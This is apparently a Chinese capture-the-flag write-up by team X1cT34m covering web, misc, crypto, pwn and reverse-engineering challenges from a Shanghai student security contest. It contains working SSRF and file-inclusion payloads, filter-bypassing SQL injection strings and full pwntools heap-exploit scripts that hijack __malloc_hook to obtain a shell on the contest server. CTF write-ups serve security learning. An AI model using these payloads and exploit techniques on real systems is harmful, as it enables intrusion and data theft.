文章目录
上海大学生网络安全大赛 writeup by X1cT34m

WEB
babyt5
- strpos对参数解码存在问题
- 通过
.%2570hp
绕过 - 访问
?x=file:///var/www/html/flag.%2570hp
得到hint
:/etc/hosts
- 访问
/etc/host
得到内网网段,经过http://爆破
,得到02网段存在web服务,访问之,发现是一个任意文件包含<!-- include $_GET[a]; -->
- 利用
dict://
探测该主机端口,得到25端口存在SMTP服务,查看/etc/passwd
确认。 - 用
filter
伪协议base64编码
读取www-data
的日志,发现大量后门。 - payload
?x=http://172.18.0.2/?a=/var/mail/www-data%261=readfile('/Th7s_Is_Flag');
flag{add386bb8e04d516c1e33d91cb939fbf}
decade
首先构造数字46
chr(next(ord(strrev(crypt(serialize(array())))));# 有概率得到46
chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))));#改变目录
echo(implode(file(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))))));#读取文件
把第二个和第三个合起来得到payload:
echo(implode(file(end(scandir(chr(ord(strrev(crypt(serialize(array(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))))));
多访问几次就能getflag了

flag{a6776a20-858b-443a-9dbe-688337afd0db}
easysql
简单查看一下网页,注入点应该在这
简单fuzz一下,发现过滤了如下(可能不全)
我们使用如下语句可以查看到数据库版本,和库名
id=0' union/**/select * from (select 1)a join (select database())b join (select 3)c join (select version())d %23

这边过滤了or,我们就不能使用imformation_schema了,但是这边mysql的版本是5.6.46 ,有新特性,innodb_index_stats和 innodb_table_stats。
所以直接爆表
id=0' union/**/select * from (select 1)a join (select group_concat(table_name) from mysql.innodb_table_stats where database_name=schema())b join (select 3)c join (select version())d %23
结果如下
这下就很简单了,直接出flag
id=0' union/**/select * from (select 2)a join (select * from cccttffff.fl111aa44a99g)b%23

flag{189c8b6bfa1d2f11127f2f4e1fe5efa4}
Misc
签到
根据题目描述,大概知道010Editor文件应该被改了,注册失败可以拿flag。
拿正常的010Editor,把正常的010Editor和改过的010Editor对比一下,发现flag:

flag{e9121ab0-6533-4bd8-bfb3-fe05a49d8ff4}
Crypto
poly_revenge
多项式到底是什么不重要。
代码审计:

就是一个仿射密码。

给了两个明密文对,可以直接算出a和b。
把b减过去,再除下a,就能得到m:

exp.sage
F.<x> = GF(2)[];
pol = x**255+ x**143+ x**47 + x**3 + 1
r1 = '8eeb27d8c2776920bd4672bbcee6d1ebf357c81419e2c3e2073a1e241dbd'
r2 = '8e4188999c007557e481d4dfcf51a8bb92a752ebac7015967f1133387c7c'
c1 = '237b20405cf83f261749fba5507ed14cb566e3722a93308c7752297d92a8338c'
c2 = '1f8fe9b5e32500c3d306924938d1f443b3718ec410c380944503311ff932f528'
c3 = '1a99ff13954d42e6a21af67aa58e2df8b7bec68f499edf992c95b25326ed768c'
c4 = '1e63622141285872093eda8da6c7a94ad7c50e695fdc6ed9bd8adaf4c6c40b14'
def hex2pol(m):
m = bin(int(m, 16))[2 :]
f1, ii = 0 ,0
for cc in m[::-1]:
f1 += int(cc) * x**ii
ii +=1
return f1
def pol2hex(pol):
h = pol.exponents()
enc = ''
for i in range(256):
if i in h:
enc += '1'
else:
enc += '0'
enc = hex(int(enc[::-1],2)).lstrip('0x').rstrip('L').zfill(64)
return enc
m1 = hex2pol(r1)
m2 = hex2pol(r2)
c1 = hex2pol(c1)
c2 = hex2pol(c2)
c3 = hex2pol(c3)
c4 = hex2pol(c4)
a = (c1 - c2) * inverse_mod((m1 - m2), pol) % pol
b = (c2 - a * m2) % pol
print(a)
print(b)
inv_a = inverse_mod(a, pol)
m3 = pol2hex((c3 - b) * inv_a % pol)[4:].decode('hex')
m4 = pol2hex((c4 - b) * inv_a % pol)[4:].decode('hex')
print(m3 + m4)

flag{724240c9-56cd-4cab-b0c3-96b3196eb021}
poly
思路跟上题一模一样。
只不过这一题的a=1,b=0。
当时按上一题的思路算出来a=1,就感觉很奇怪。一看output,wtf,明文和密文居然一样!这。。。。
直接把最后两组输出从hex转成ascii就能得到flag。
exp.py
c1 = '0000476f6f6421546869735f69735f666c61673a666c61677b36303639636166'
c2 = '0000362d303965312d343934612d626362352d6239346538663238383937317d'
m1 = bytes.fromhex(c1[4:])
m2 = bytes.fromhex(c2[4:])
print(m1 + m2)
# b'Good!This_is_flag:flag{6069caf6-09e1-494a-bcb5-b94e8f288971}'
flag{6069caf6-09e1-494a-bcb5-b94e8f288971}
RSA

从ouput里可以直接得到p+q和pq,分别记作为a,b。

解下方程,即可得到p, q。

e没给?没关系,给了范围和一个明密文对,直接爆破即可求出。
n = ...
c1 = ...
for e in range(1, 1000):
if pow(123, e, n) == c1:
print(e)
# 251
exp.py:
# python2
import gmpy2
from Crypto.Util.number import *
n = 9538795663851271297602738029671089878718012242935213096566250130325046936720540247534143498025477544161347330379679111765871420732255741210434736423951962189227302658997497664520929375215715960063615792480965807127438948044298348300153102760490410578638259665656608784635088735809470916136628779400145983632930861883762707606629208260803446083579674497451514650309351925430391515629898218875049677870989016071086844819626778388370764400242376469343158294638240660190754978627356076115228410162956087266527271225439142347304100660800517276772407728290414074912243665126741030948775883739544952378188264714716087909797
frac = 19077591327702542595205476059342179757436024485870426193132500260650093873441080495068286996050955088322694660759358223531742841464511482420869472847903924378454605317994995329041858750431431920127231584961931614254877896088596696600306205520980821157276519331313217569270177471618941832273257558800291967266057799408185825199394392306374394195697993019961311696247374832761757990150416392201444079060627610573918631913438062954960835929982836033906925917632413007648356037059843552967726871763559759125837289869091638924336309932526582201350695938677991368335828814565265478203873169858685929462350511138398905572292
c1 = 368284101618076523549199130884422355928051525996327977632544904437878504262870825378516827225793010165434494157238379685995430409966951122729243411694569562164062815098110639750101378457641471316188502263725098231679401928494160942213175404259256770984218593245458108598930926260386443799301699336309331946341173652201791293571029025818674575198311845811957606474490230382511996537893448524426809391980637983473305318819523408854264623254226127223862150173575206444726570183096891630129244778802793476295746913846105454198627
c2 = 7303495910407762399046490836902121070389476875516762048462433039234972742941586801378979220008051262826174054961747648114128456872349675769941760630519744351742977740846748646739901172672743584989842268056810152117350241337045055812845489372389014195433916347255846499434232234822333192328886207187844781726928951986353054876826105507064928478812402103648940709131760865763234071703554208057808885564381400571862422316195578258814602362582573148358552148686182480215663291366798585241933446701357953551496955627421526567152576426417189707335038601040167826900549139608192971559659991213411381604721734898065256138516
e = 251
p_q = frac - 2*n
a, b = p_q, n
root, t = gmpy2.iroot(a**2 - 4*b, 2)
assert(t)
q = (a+root) // 2
p = a - q
assert(p*q == n)
d = inverse(e, (p-1)*(q-1))
m = pow(c2, d, n)
print(long_to_bytes(m))
flag{bdb021a6-abf6-435a-8ddc-bda48d4093cc}
PWN
boring_pwn
问题出在abs的经典漏洞上,找了就可以发现abs(0x80000000)%48是-32,然后可以edit pre_size跟size,之后就是常规打法。
from pwn import *
libc=ELF('./libc.so')
#r=process('./pwn')
r=remote('8sdafgh.gamectf.com',10001)
def gd():
gdb.attach(r)
pause()
def add(choice,content):
r.sendlineafter('5.Exit','1')
r.sendlineafter('.Large',str(choice))
r.sendafter('Input Content:',content)
def free(idx):
r.sendlineafter('5.Exit','3')
r.sendlineafter('one do you want to delete?',str(idx))
def edit(idx,off,content):
r.sendlineafter('5.Exit','2')
r.sendlineafter('one do you want to update',str(idx))
r.sendlineafter(' you want to update?',str(off))
r.sendafter('Input Content:',content)
def show(idx):
r.sendlineafter('5.Exit','4')
r.sendlineafter('one do you want to view?',str(idx))
#1->0x20,2->0x30.3->0x40
#edit have problem about abs and only 2 can trig
add(3,'/bin/sh\n')
add(2,'1\n')
add(3,'2\n')#0x50
add(2,'3\n')#0x40
add(2,'4\n')#0x40
add(2,'5\n')
edit(1,0x80000000,p64(0)*3+p64(0x91+0x40)+'\n')
free(1)
add(2,'\n')#6
show(6)
r.recvuntil('\x0a')
leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(leak)
libc_base=leak-234-0x10-libc.symbols['__malloc_hook']
print hex(libc_base)
#7 and 2 is same and 0x50
#8 and 3 is same and 0x40
add(3,'7\n')
add(2,'8\n')
free(3)
edit(8,0,p64(0x51)+'\n')
add(2,'9\n')
free(2)
edit(7,0,p64(libc_base+libc.symbols['__malloc_hook']+0x20)+'\n')
add(3,'10\n')
add(3,p64(0)*7+p64(libc_base+libc.symbols['__malloc_hook']-0x10))
add(3,p64(libc_base+0xf1147)+'\n')
r.interactive()

flag{d7ca9cc3357d3d0c0acc86b389859756}
login
出题人留的洞有点多,uaf,函数指针,甚至我还发现了整形溢出导致的栈溢出。。。
最后选择了fastbin的分配原则导致3跟2分别可以劫持到1跟0的存储name跟函数的堆区,然后伪造出unsorted bin后爆破获取libc。
from pwn import *
lib=ELF('./libc-2.23.so')
def login(ids, length, password):
r.sendline("1")
r.sendlineafter("user id:\n", str(ids))
r.sendlineafter("length:\n", str(length))
r.sendafter("password:\n", password)
data = r.recvuntil("5.Exit\n")
return data
def add(id,len,passw):
r.sendlineafter('Choice:','2')
r.sendlineafter('he user id:',str(id))
r.sendlineafter(' password length:',str(len))
r.sendafter("t password:",passw)
def free(id):
r.sendlineafter('Choice:','3')
r.sendlineafter('he user id:',str(id))
def edit(id,passw):
r.sendlineafter('Choice:','4')
r.sendlineafter('he user id:',str(id))
r.sendafter('ew pass:',passw)
def gd():
gdb.attach(r)
pause()
r=remote('8sdafgh.gamectf.com',20000)
#r=process('./login')
elf=ELF('./login')
add(0,0x18,p64(0)+p64(0xf1))#
add(1,0x18,p64(elf.got['read']))
free(0)
add(2,0x18,'\x08')
free(1)
add(3,0x18,'\x20')
add(4,0x18,'/bin/sh')
add(5,0x50,'/bin/sh')
edit(0,p64(0xa1))
edit(2,'\x10')
free(0)
edit(3,'\x15')
libc = 0x7f
while(1):
x = login(1, 0xff, p64(libc))
if "Wrong password!" in x:
libc = libc + 1
libc = libc % 0x100
else:
break
print 'stage_one'
libc = libc * 0x100
edit(3, "\x14")
while(1):
x = login(1, 0xff, p64(libc))
if "Wrong password!" in x:
libc = libc + 1
else:
break
print 'stage_two'
libc = libc * 0x100
edit(3, "\x13")
while(1):
x = login(1, 0xff, p64(libc))
if "Wrong password!" in x:
libc = libc + 1
else:
break
print 'stage_three'
libc = libc * 0x100
edit(3,"\x12")
while(1):
x = login(1, 0xff, p64(libc))
if "Wrong password!" in x:
libc = libc + 1
else:
break
print 'stage_four'
libc = libc * 0x100
edit(3,"\x11")
while(1):
x = login(1, 0xff, p64(libc))
if "Wrong password!" in x:
libc = libc + 1
else:
break
print 'stage_five'
libc = libc * 0x100 + 0x78
edit(3,"\x10")
while(1):
x = login(1, 0xff, p64(libc))
if "Wrong password!" in x:
libc = libc + 1
else:
break
print hex(libc)
libc_base=libc-88-0x10-lib.symbols['__malloc_hook']
sys=libc_base+lib.symbols['system']
print hex(sys)
edit(3,"\xb8")
edit(1,p64(sys))
r.sendline("1")
r.sendlineafter("user id:\n", str(4))
r.sendlineafter("length:\n", str(0xff))
r.sendafter("password:\n", "/bin/sh\x00")
r.interactive()

flag{82f67447e165a7fadfcf2b3229e82237}
SlientNote
emmm,感觉是个unlink水题,但是。。。
为什么我改free.got->puts.got会报错???
所以不能做到一发入魂差评
最后盲猜2.23,来强制爆破真实地址,是1/4096
差点跑死。
from pwn import *
def add(choice, content):
r.sendline("1")
r.sendlineafter("add?\n", str(choice))
r.sendlineafter("Content:\n", content)
r.recvuntil("4.Exit\n")
def free(choice):
r.sendline("2")
r.sendlineafter("delete?\n", str(choice))
r.recvuntil("4.Exit\n")
def edit(choice, content):
r.sendline("3")
r.sendlineafter("update?\n", str(choice))
r.sendlineafter("Content:\n", content)
r.recvuntil("4.Exit\n")
def gd():
gdb.attach(r)
pause()
while 1:
#r = process("./pwn")
r = remote("8sdafgh.gamectf.com", "35555")
r.recvuntil("4.Exit\n")
add(2, p64(0) * 34 + p64(0) + p64(0x21) + p64(0) * 3 + p64(0x21))
add(1, "zihu4n")
free(2)
add(1, "zihu4n")
add(1, "zihu4n")
payload = p64(0) + p64(0x21)+p64(0x00000000006020D8-0x18)+p64(0x00000000006020D8-0x10)+p64(0x20)+p64(0xf0)
edit(2, payload)
free(1)
#gd()
#unlink
payload = "/bin/sh\x00" + p64(0) + p64(0x602018)
edit(2, payload)
edit(1, "\x90\xd3\xa8")
try:
r.sendline("2")
r.sendlineafter("delete?\n", str(2))
#gdb.attach(r)
r.recvuntil(":")
r.interactive()
break
except EOFError as e:
r.close()

flag{be2f9d4a6de0cefd2e48d83c001ced9d}
Re
Puzzle
#include <stdio.h>
bool __cdecl check(char *a1)
{
char *v1; // ecx
bool result; // al
int A1=927,A2=104,A3=521,A4=617,A5=298,A6=417,A7=138,A8=712;
v1 = a1;
while ( 2 )
{
switch ( *v1 )
{
case 0:
A5 &= A1;
A4 *= A5;
goto LABEL_4;
case 1:
if ( !A4 )
goto LABEL_6;
A5 /= A4;
A6 += A2;
goto LABEL_4;
case 2:
A3 ^= A2;
A8 += A7;
goto LABEL_4;
case 3:
A8 -= A3;
A3 &= A6;
goto LABEL_4;
case 4:
A2 *= A7;
A4 -= A1;
goto LABEL_4;
case 5:
A7 ^= A4;
A1 -= A8;
goto LABEL_4;
case 6:
if ( !A8 )
goto LABEL_6;
A2 |= A6 / A8;
A6 /= A8;
goto LABEL_4;
case 7:
A1 += A5;
A2 |= A6;
goto LABEL_4;
case 8:
A7 *= A4;
A3 -= A8;
goto LABEL_4;
case 9:
A5 += A2;
A4 ^= A3;
LABEL_4:
if ( ++v1 != a1 + 8 )
continue;
result = (A1 == 231) + (A2 == 14456) + (A3 == 14961) + (A4 == -13264) + (A5 == 16) + (A6 == 104) + (A7 == -951) == 7;
if ( A8 != -239 )
goto LABEL_6;
break;
default:
LABEL_6:
result = 0;
break;
}
return result;
}
}
int main()
{
char buf[10] = {0};
int i0,i1,i2,i3,i4,i5,i6,i7;
for(i0=0;i0<10;i0++)
for(i1=0;i1<10;i1++)
for(i2=0;i2<10;i2++)
for(i3=0;i3<10;i3++)
for(i4=0;i4<10;i4++)
for(i5=0;i5<10;i5++)
for(i6=0;i6<10;i6++)
for(i7=0;i7<10;i7++){
buf[0] = i0;
buf[1] = i1;
buf[2] = i2;
buf[3] = i3;
buf[4] = i4;
buf[5] = i5;
buf[6] = i6;
buf[7] = i7;
if(check(buf))
{
int i;
for(i=0;i<8;i++)
printf("%d",buf[i]);
puts("tql");
}
}
}
解出61495072
把值放入4018D0函数中//类似rc4
然后解出7aaa29982a98eaab
输入出flag
flag{5cb92582-66a8-e5b7-d3bf-3b99df8ac7f0}
touch of Satan
这一题最后结束的时候差一点交上flag。。 ignb!
C++逆向,flag格式为flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
总长度42,check-
的位置,一共4处,然后根据-
分隔,放入vector中,根据flag括号中的第一位,重新排列,变成一个32位的字符串
然后传入一个加密函数中,类似AES,key为crc32的字节码,这里有反调试,要硬件断点
逆向加密算法得:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
unsigned char BOX[] =
{
0x03, 0x08, 0x0F, 0x01, 0x0A, 0x06, 0x05, 0x0B, 0x0E, 0x0D,
0x04, 0x02, 0x07, 0x00, 0x09, 0x0C, 0x0F, 0x0C, 0x02, 0x07,
0x09, 0x00, 0x05, 0x0A, 0x01, 0x0B, 0x0E, 0x08, 0x06, 0x0D,
0x03, 0x04, 0x08, 0x06, 0x07, 0x09, 0x03, 0x0C, 0x0A, 0x0F,
0x0D, 0x01, 0x0E, 0x04, 0x00, 0x0B, 0x05, 0x02, 0x00, 0x0F,
0x0B, 0x08, 0x0C, 0x09, 0x06, 0x03, 0x0D, 0x01, 0x02, 0x04,
0x0A, 0x07, 0x05, 0x0E, 0x01, 0x0F, 0x08, 0x03, 0x0C, 0x00,
0x0B, 0x06, 0x02, 0x05, 0x04, 0x0A, 0x09, 0x0E, 0x07, 0x0D,
0x0F, 0x05, 0x02, 0x0B, 0x04, 0x0A, 0x09, 0x0C, 0x00, 0x03,
0x0E, 0x08, 0x0D, 0x06, 0x07, 0x01, 0x07, 0x02, 0x0C, 0x05,
0x08, 0x04, 0x06, 0x0B, 0x0E, 0x09, 0x01, 0x0F, 0x0D, 0x03,
0x0A, 0x00, 0x01, 0x0D, 0x0F, 0x00, 0x0E, 0x08, 0x02, 0x0B,
0x07, 0x04, 0x0C, 0x0A, 0x09, 0x03, 0x05, 0x06, 0x0D, 0x03,
0x0B, 0x00, 0x0A, 0x06, 0x05, 0x0C, 0x01, 0x0E, 0x04, 0x07,
0x0F, 0x09, 0x08, 0x02, 0x05, 0x08, 0x02, 0x0E, 0x0F, 0x06,
0x0C, 0x03, 0x0B, 0x04, 0x07, 0x09, 0x01, 0x0D, 0x0A, 0x00,
0x0C, 0x09, 0x0F, 0x04, 0x0B, 0x0E, 0x01, 0x02, 0x00, 0x03,
0x06, 0x0D, 0x05, 0x08, 0x0A, 0x07, 0x00, 0x09, 0x0A, 0x07,
0x0B, 0x0E, 0x06, 0x0D, 0x03, 0x05, 0x0C, 0x02, 0x04, 0x08,
0x0F, 0x01, 0x05, 0x00, 0x08, 0x03, 0x0A, 0x09, 0x07, 0x0E,
0x02, 0x0C, 0x0B, 0x06, 0x04, 0x0F, 0x0D, 0x01, 0x08, 0x0F,
0x02, 0x09, 0x04, 0x01, 0x0D, 0x0E, 0x0B, 0x06, 0x05, 0x03,
0x07, 0x0C, 0x0A, 0x00, 0x0F, 0x0A, 0x01, 0x0D, 0x05, 0x03,
0x06, 0x00, 0x04, 0x09, 0x0E, 0x07, 0x02, 0x0C, 0x08, 0x0B,
0x03, 0x00, 0x06, 0x0D, 0x09, 0x0E, 0x0F, 0x08, 0x05, 0x0C,
0x0B, 0x07, 0x0A, 0x01, 0x04, 0x02
};
unsigned char skey[528] =
{
0xEE, 0xC8, 0x0B, 0x9C, 0xC8, 0x0A, 0xFE, 0xCF, 0x98, 0xB7,
0x03, 0x1D, 0x85, 0x7B, 0x11, 0x05, 0x54, 0xA2, 0x54, 0xBE,
0xF4, 0x79, 0x52, 0x6E, 0x41, 0x1B, 0x10, 0xE5, 0xE3, 0x1A,
0xA0, 0x7D, 0x4D, 0xBA, 0xBD, 0x1A, 0x2D, 0x0A, 0xBB, 0x37,
0x7D, 0x28, 0x30, 0x54, 0xE2, 0xE7, 0x26, 0xF2, 0x69, 0xC1,
0x51, 0x5F, 0x45, 0x33, 0xC3, 0xBC, 0xCA, 0x6D, 0x0B, 0x5B,
0x97, 0xC2, 0x63, 0x3F, 0x77, 0xBC, 0xD4, 0xE3, 0x15, 0x18,
0x22, 0x91, 0xC1, 0xB9, 0x4D, 0xAB, 0xC4, 0x1D, 0x70, 0xC1,
0xC9, 0x87, 0x9C, 0x38, 0x4F, 0x03, 0x61, 0xDE, 0xBE, 0xC1,
0x1B, 0x32, 0x1D, 0xE5, 0x8F, 0xA6, 0xFF, 0x2C, 0x64, 0xFA,
0xED, 0x16, 0x87, 0x0F, 0x5E, 0x76, 0x91, 0x4C, 0x05, 0x90,
0x47, 0xFA, 0x03, 0xCF, 0x2E, 0x12, 0x35, 0x42, 0xD9, 0x45,
0xAF, 0x55, 0x64, 0xE9, 0x0D, 0xBE, 0xE1, 0xCC, 0xE0, 0x7C,
0x5A, 0x49, 0xBC, 0x22, 0x76, 0x7B, 0xC7, 0x05, 0xC6, 0xA3,
0x4F, 0x60, 0xB5, 0x26, 0x44, 0xEB, 0x8C, 0xB9, 0x6A, 0xF7,
0x17, 0x03, 0xA7, 0x27, 0xDC, 0x98, 0x12, 0xAB, 0xF1, 0x7F,
0xD0, 0xFD, 0x9A, 0x9B, 0xE5, 0xFC, 0x9D, 0xF8, 0xA7, 0x17,
0xCA, 0xE4, 0xE0, 0xD3, 0x6B, 0x2E, 0x5C, 0xB6, 0x74, 0xD7,
0xD7, 0xED, 0xB2, 0x9B, 0x55, 0xD6, 0x1B, 0xD2, 0x85, 0x55,
0xC7, 0xD3, 0xA7, 0xDD, 0x24, 0x56, 0x5A, 0x5F, 0xE4, 0xA9,
0xFE, 0x94, 0x50, 0x0B, 0xF0, 0x02, 0x9E, 0x25, 0x74, 0xB5,
0x63, 0x53, 0x3F, 0x44, 0xA3, 0x17, 0x5E, 0xA0, 0xE5, 0xF5,
0x6B, 0xF2, 0xC1, 0x67, 0xA6, 0xEE, 0x1D, 0x59, 0x4F, 0x2F,
0xFB, 0x4F, 0x98, 0x96, 0xB8, 0x75, 0xD9, 0xCA, 0xCF, 0x65,
0x94, 0x7C, 0xCF, 0xA3, 0x39, 0x8B, 0x9E, 0x3F, 0xA4, 0x25,
0xC4, 0x4C, 0x24, 0xD3, 0xE8, 0x95, 0xE9, 0x82, 0x24, 0xD3,
0x28, 0x87, 0xBF, 0x26, 0x12, 0x07, 0xC8, 0xD1, 0xD3, 0xCE,
0x8A, 0x71, 0x0B, 0x42, 0x84, 0xF5, 0x04, 0x50, 0x2C, 0x22,
0xCA, 0x47, 0xBC, 0xF5, 0x31, 0x92, 0xE5, 0x43, 0x27, 0x8D,
0x37, 0xA7, 0xA9, 0x52, 0x30, 0xE8, 0x75, 0xF7, 0x06, 0x57,
0xC2, 0xD5, 0xBD, 0x32, 0x19, 0x9B, 0xA6, 0xC2, 0x3F, 0xEA,
0x7F, 0x2D, 0x32, 0x46, 0x8D, 0x0D, 0xB5, 0x11, 0xE4, 0x64,
0x83, 0xFB, 0x1B, 0xCF, 0x80, 0x17, 0x09, 0xAD, 0xBE, 0xF8,
0x8A, 0x83, 0x21, 0xEC, 0x13, 0xB2, 0xD1, 0xF0, 0x27, 0x3F,
0x3B, 0xE4, 0xCC, 0x23, 0xE5, 0x82, 0x6B, 0xB0, 0x81, 0x46,
0x1C, 0x72, 0x8F, 0x6A, 0x69, 0xE6, 0xBE, 0xA9, 0xD6, 0xA9,
0x3A, 0x9A, 0x55, 0xC2, 0xFB, 0xDB, 0xB2, 0x89, 0x21, 0x6A,
0xD8, 0x26, 0x32, 0x87, 0x97, 0x56, 0x33, 0xF2, 0x3A, 0xEB,
0x7E, 0xAA, 0x98, 0x00, 0xF5, 0x50, 0x2B, 0x2C, 0x96, 0x56,
0x4C, 0x3A, 0x21, 0x7F, 0xA9, 0x33, 0xE8, 0xA0, 0xA2, 0x7A,
0xB3, 0xB7, 0x1B, 0x58, 0xB1, 0x09, 0xF0, 0x8E, 0x0C, 0xEF,
0xD6, 0x51, 0x22, 0xAE, 0x1D, 0xBE, 0xCF, 0x57, 0x6E, 0x73,
0xA5, 0x4A, 0xE5, 0x44, 0xB7, 0x96, 0xC0, 0xC5, 0x8C, 0x7F,
0x82, 0x82, 0x8B, 0xC4, 0xF4, 0xE2, 0xF4, 0xEF, 0xB6, 0x95,
0x19, 0x7E, 0xB0, 0xE9, 0x7F, 0xEA, 0x80, 0x78, 0x57, 0x04,
0x59, 0x52, 0x8A, 0x18, 0x7E, 0xCA, 0x5D, 0x05, 0x97, 0x84,
0x41, 0xD2, 0x22, 0x53, 0x48, 0xAC, 0x94, 0x58, 0x31, 0xC7,
0x13, 0x68, 0x66, 0xD9, 0xE5, 0xC0, 0x12, 0xD8, 0x9F, 0x79,
0x23, 0x8F, 0x0A, 0xC4, 0xAA, 0xE9, 0x7D, 0xB7, 0xA2, 0xC8,
0x7A, 0xDC, 0xC3, 0x8C, 0x78, 0x1F, 0x32, 0xE1, 0xA3, 0x1F,
0x2E, 0xDC, 0xF4, 0xC9, 0x51, 0xAB, 0xD7, 0xE1, 0x67, 0x54,
0x56, 0xF9, 0xDD, 0x0F, 0xB1, 0x85, 0x1A, 0xB2, 0x11, 0x64,
0xDD, 0x4E, 0xCA, 0x86, 0x72, 0x10, 0xF4, 0xC5
};
void xorsubkey(unsigned int *a1,int r,unsigned int * a3)
{
for(int i = 0;i < 4; i++)
{
a1[i] ^= a3[4*r + i];
}
}
unsigned int ROR(unsigned int x,unsigned int r)
{
r = r&31;
return (((x) >> (r)) | ((x) << (32 - (r))));
}
unsigned int ROL(unsigned int x,unsigned int r)
{
r = r&31;
return (((x) << (r)) | ((x) >> (32 - (r))));
}
void enc(int *a1, int a2, unsigned __int8 *BOX)
{
unsigned int v3; // ST3C_4
int v5[4] = {0}; // [rsp+18h] [rbp-30h]
signed int i; // [rsp+28h] [rbp-20h]
for ( i = 0; i <= 31; ++i )
{
v3 = BOX[16 * (a2 % 8) + (4 * (a1[2] >> (i & 0x1F)) & 4 | 2 * (a1[1] >> (i & 0x1F)) & 2 | (a1[0] >> (i & 0x1F)) & 1 | 8 * (a1[3] >> (i & 0x1F)) & 8)];
v5[0] |= ((v3 >> 0) & 1) << (i & 0x1F);
v5[1] |= ((v3 >> 1) & 1) << (i & 0x1F);
v5[2] |= ((v3 >> 2) & 1) << (i & 0x1F);
v5[3] |= ((v3 >> 3) & 1) << (i & 0x1F);
}
a1[0] = v5[0];
a1[1] = v5[1];
a1[2] = v5[2];
a1[3] = v5[3];
}
int findindex(unsigned char * arr,int value)
{
int i;
for(i = 0;i < 0x10; i++)
{
if(arr[i] == value)
{
return i;
}
}
return -1;
}
void dec(int *a1, int a2, unsigned __int8 *BOX)
{
unsigned char index;
int v5[4] = {0};
for(int i = 0;i <= 31; i++)
{
unsigned char value = (4 * (a1[2] >> (i & 0x1F)) & 4 | 2 * (a1[1] >> (i & 0x1F)) & 2 | (a1[0] >> (i & 0x1F)) & 1 | 8 * (a1[3] >> (i & 0x1F)) & 8);
index = findindex(&BOX[16 * (a2 % 8)],value);
v5[0] |= ((index >> 0) & 1) << (i & 0x1F);
v5[1] |= ((index >> 1) & 1) << (i & 0x1F);
v5[2] |= ((index >> 2) & 1) << (i & 0x1F);
v5[3] |= ((index >> 3) & 1) << (i & 0x1F);
}
a1[0] = v5[0];
a1[1] = v5[1];
a1[2] = v5[2];
a1[3] = v5[3];
}
void dewhat(unsigned int * a)
{
a[2] = ROR(a[2],0xea);
a[0] = ROR(a[0],0xfb);
a[2] ^= a[3] ^ (a[1] << 7);
a[0] ^= a[3] ^ a[1];
a[3] = ROR(a[3],0xf9);
a[1] = ROR(a[1],0xff);
a[3] ^= a[2] ^ (a[0] << 3);
a[1] ^= a[0] ^ a[2];
a[2] = ROR(a[2],0xfd);
a[0] = ROR(a[0],0xf3);
}
void what(unsigned int *a1)
{
unsigned int *a; // ST00_8
__int64 result; // rax
a = a1;
*a1 = ROL(*a1, 0xF3);
a1[2] = ROL(a1[2], 0xFD);
a[1] ^= *a ^ a[2];
a[3] ^= a[2] ^ 8 * *a;
a1[1] = ROL(a1[1], 0xFF);
a1[3] = ROL(a1[3], 0xF9);
*a ^= a[3] ^ a[1];
a[2] ^= a[3] ^ (a[1] << 7);
*a1 = ROL(*a1, 0xFB);
result = ROL(a1[2], 0xEA);
a1[2] = result;
}
void decode(char * flagenc)
{
xorsubkey((unsigned int *)flagenc,32,(unsigned int *)skey);
dec((int *)flagenc,31,BOX);
xorsubkey((unsigned int *)flagenc,31,(unsigned int *)skey);
for(int i = 30;i >= 0; i--)
{
dewhat((unsigned int *)flagenc);
dec((int *)flagenc,i,BOX);
xorsubkey((unsigned int *)flagenc,i,(unsigned int *)skey);
}
}
int main()
{
char flagenc[32] = {0x94, 0xBA, 0x23, 0x68, 0xD7, 0x5C, 0x97, 0x09, 0x99, 0xA7,
0x7D, 0x3F, 0x3C, 0xD0, 0x27, 0x07, 0x1C, 0x14, 0x8C, 0x9F,
0xC4, 0x26, 0x20, 0x6C, 0xAC, 0x27, 0x49, 0x36, 0x51, 0xD7,
0x2D, 0xFD};
decode(&flagenc[0]);
decode(&flagenc[16]);
printf("%s\n",flagenc);
}
其中skey为dump出来的子秘钥们=3=,最后拿到flagenc -> 8a40759596ae4d9148da62dd06baf7a4
爆破排列方法,解得到:flag{96ae4d91-7595-48da-8a40-62dd06baf7a4}
最新评论